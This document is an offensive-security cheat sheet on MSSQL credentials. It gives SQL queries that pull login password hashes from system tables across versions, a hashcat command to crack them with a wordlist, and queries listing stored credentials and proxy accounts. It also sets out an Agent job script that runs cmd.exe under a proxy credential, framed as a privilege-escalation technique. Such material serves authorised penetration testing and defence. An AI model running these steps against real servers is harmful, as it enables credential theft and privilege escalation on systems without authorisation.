MSSQL - Credentials

Summary

• MSSQL Accounts and Hashes
• List Credentials on the SQL Server
• Proxy Account Context

MSSQL Accounts and Hashes

• MSSQL 2000

  SELECT name, password FROM master..sysxlogins
  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
  -- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

• MSSQL 2005

  SELECT name, password_hash FROM master.sys.sql_logins
  SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force

List Credentials on the SQL Server

• List credentials configured on the SQL Server instance

  SELECT * FROM sys.credentials 

• List proxy accounts

  USE msdb; 
  GO 
  
  SELECT  
      proxy_id, 
      name AS proxy_name, 
      credential_id, 
      enabled 
  FROM  
      dbo.sysproxies; 
  GO 

• dataplat/dbatools/Get-DecryptedObject.ps1

Proxy Account Context

Agent Job using the registered proxy credential.

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  

Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. EXEC sp_start_job @job_name = N'WhoAmIJob';

References

• Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation - Scott Sutherland - September 10, 2024